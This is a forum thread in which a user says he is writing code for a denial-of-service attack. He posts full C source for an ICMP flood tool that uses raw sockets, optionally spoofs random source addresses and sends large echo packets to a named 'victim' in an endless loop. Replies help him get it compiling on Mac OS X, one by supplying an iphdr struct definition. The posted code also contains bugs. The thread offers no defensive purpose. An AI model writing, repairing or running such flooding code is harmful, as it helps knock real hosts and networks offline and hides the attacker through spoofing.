Help to understand.

Joined
Jun 24, 2010
Messages
1
Reaction score
0
Points
1
Hi guys. I write code for dos attack. When I do attempt to build the project, got 2 errors. :(

Such as:
1. error: invalid application of 'sizeof' to incomplete type 'struct iphdr'
2. error: dereferencing pointer to incomplete type

2 in code
Code:
/* Fill the IP - header */ and /* Get a new IP - the source address if the first command line argument was specified random */

1 in code

Code:
char sendbuf[sizeof(struct iphdr) + sizeof(struct icmp) + 1400];
and
struct icmp *icmp_hdr = (struct icmp *) (sendbuf + sizeof(struct iphdr));

At Linux build is successful! :)

Xcode Version 3.0
OS Mac OS X Leopard 10.5.8

This code
Code:
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>

/*-------------------------------------------*/
/*     Convert host name to IP - adвress     */
/*-------------------------------------------*/
unsigned long resolve(char *hostname){

	struct hostent *hp;
	if((hp = gethostbyname(hostname)) == NULL){
			herror("gethostbyname() faild");
			exit(-1);
	}
	return *(unsigned long *)hp -> h_addr_list[0];
}

/*-------------------------------------------*/
/*		        Checksumming                */
/*-------------------------------------------*/
unsigned short in_cksum(unsigned short *addr, int len){

	unsigned short result;
	unsigned int sum = 0;
	
	/* Adds all double-byte words */
	while(len > 1){
		sum += *addr++;
		len -= 2;
	}
	
	/* If the left byte, we add it to the sum */
	if(len == 1) sum += *(unsigned char*) addr;
	sum = (sum >> 16) + (sum & 0xFFFF);
	
	/* Adds an Transfer */
	sum += (sum >> 16);
	/* again */
	result = ~sum;
	/* Invert the result */
	return result;
}

/*-------------------------------------------*/
/*                  main()                   */
/*-------------------------------------------*/
int main (int argc, const char * argv[]) {
	
	int sd, rnd = 0;
	const int on = 1;
	unsigned long dstaddr, srcaddr;
	struct sockaddr_in servaddr;
	
	char sendbuf[sizeof(struct iphdr) + sizeof(struct icmp) + 1400];
	struct iphdr *ip_hdr = (struct iphdr *)sendbuf;
	struct icmp *icmp_hdr = (struct icmp *) (sendbuf + sizeof(struct iphdr));
	
	if(argc != 3){
		fprintf(stderr,"Usage: %s <source address | random> <destination address>\n", argv[0]);
		exit(-1);
	}
	
	/* Creating RAW - socket */
	if((sd + socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){
		perror("socket() faild");
		exit(-1);
	}
	
	/* Since we own to fill in IP - header, set the option IP_HDRINCL */
	if(setsockopt(sd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0){
		perror("setsockopt() faild");
		exit(-1);
	}
	
	/* We provide the ability to send broadcast messages widely */
	if(setsockopt(sd, SOL_SOCKET, SO_BROADCAST, (char *)&on, sizeof(on)) < 0){
		perror("setsockopt() faild");
		exit(-1);
	}
	
	/* If the first command line argument specified random, then the IP - the source address is chosen randomly */
	if(!strcmp(argv[1], "random")){
		rnd = 1;
		srcaddr = random();
	}else srcaddr = resolve(argv[1]);
	
	/* IP - address of the victim */
	dstaddr = resolve(argv[2]);
	bzero(&servaddr, sizeof(servaddr));
	servaddr.sin_family = AF_INET;
	servaddr.sin_addr.s_addr = dstaddr;
	
	/* Fill the IP - header */
	ip_hdr->ihl = 5;
	ip_hdr->version = 4;
	ip_hdr->tos     = 0;
	ip_hdr->tot_len = htons(sizeof(struct iphdr *) + sizeof(struct icmp) + 1400);
	ip_hdr->id       = 0;
	ip_hdr->frag_off = 0;
	ip_hdr->tt1      = 255;
	ip_hdr->protocol = IPPROTO_ICMP;
	ip_hdr->check = 0;
	ip_hdr->check = in_cksum((unsigned short *)ip_hdr, sizeof(struct iphdr *));
	ip_hdr->saddr = srcaddr;
	ip_hdr->daddr = dstaddr;
	
	/* Fill ICMP - header */
	icmp_hdr->icmp_type = ICMP_ECHO;
	icmp_hdr->icmp_code = 0;
	icmp_hdr->icmp_id = 1;
	icmp_hdr->icmp_seq = 1;
	icmp_hdr->icmp_cksum = 0;
	icmp_hdr->icmp_cksum = in_cksum((unsigned short *)icmp_hdr, sizeof(struct icmp) + 1400);
	
	/* In the endless cycle of sending packets */
	while(1){
		if(sendto(sd, sendbuf, sizeof(sendbuf), 0, (struct sockaddr *)&servaddr, 
				  sizeof(servaddr)) < 0){
					perror("sento() faild");
					exit(-1);
				  }
		/* Get a new IP - the source address if the first command line argument was specified random */
		if(rnd) ip_hdr->saddr = random();
	}
	
    return 0;
}
 
Joined
Feb 25, 2009
Messages
2,112
Reaction score
71
Points
48
Your Mac's Specs
Late 2013 rMBP, i7, 750m gpu, OSX versions 10.9.3, 10.10
<-- update edit -->
I did a search on struct iphdr osx and it appears to not exist in the form you're using it. as you can see in this broken code: http://lists.linux-ha.org/pipermail/linux-ha/2010-March/040031.html where it mentions struct iphdr not existing

I wouldn't be surprised if this line:
Code:
char sendbuf[sizeof(struct iphdr) + sizeof(struct icmp) + 1400];

still doesn't work quite right as you're dynamically declaring the size of an array using a method usually used for statically sized arrays (ie: using the []) At least the way I was taught, if you're creating an array that is dynamically sized (as sizeof is calculated at runtime not compile time) you'd use a pointer and malloc/free to allocate and release the memory.

<-- end update edit -->

<-- original post deleted -->
 
Joined
Apr 4, 2011
Messages
1
Reaction score
0
Points
1
Since this was the first thing that popped up in google when I tried to solve the same problem, I have included the answer:

Just define the structure yourself.

osx_compat.h
Code:
struct iphdr 
  { 
#if __BYTE_ORDER == __LITTLE_ENDIAN
    unsigned int ihl:4;
    unsigned int version:4;
#elif __BYTE_ORDER == __BIG_ENDIAN
    unsigned int version:4;
    unsigned int ihl:4;
#else
# error  "Please fix <bits/endian.h>"
#endif
    u_int8_t tos;
    u_int16_t tot_len;
    u_int16_t id;
    u_int16_t frag_off;
    u_int8_t ttl;
    u_int8_t protocol;
    u_int16_t check;
    u_int32_t saddr;
    u_int32_t daddr;
    /*The options start here. */
  };
 

Shop Amazon


Shop for your Apple, Mac, iPhone and other computer products on Amazon.
We are a participant in the Amazon Services LLC Associates Program, an affiliate program designed to provide a means for us to earn fees by linking to Amazon and affiliated sites.
Top